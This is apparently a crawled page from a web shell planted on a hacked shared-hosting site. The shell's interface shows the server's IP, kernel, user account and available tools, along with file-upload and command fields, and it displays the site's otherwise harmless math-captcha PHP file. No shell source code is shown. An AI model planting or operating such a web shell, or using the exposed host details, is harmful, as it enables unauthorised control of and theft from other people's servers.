403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/mathcaptcha.php
<?php

session_start();

$randomnr  = rand(10, 99);
$randomnr2 = rand(10, 99);
$plus = '+';
$randanswer = $randomnr + $randomnr2;
$_SESSION['randomnr'] = md5($randanswer); 

$im = imagecreatetruecolor(80, 34);

$white = imagecolorallocate($im, 255, 255, 255);
$grey  = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

imagefilledrectangle($im, 0, 0, 80, 25, $black);

$font = 'Roboto-Bold.ttf';

imagettftext($im, 12, 0, 10, 23, $grey, $font, $randomnr);
imagettftext($im, 12, 0 , 35, 22, $grey, $font , $plus);
imagettftext($im, 12, 0,  50, 23, $white, $font, $randomnr2);

header("Expires: Wed, 1 Jan 1997 00:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

header ("Content-type: image/gif");
imagegif($im);
imagedestroy($im);

Youez - 2016 - github.com/yon3zu
LinuXploit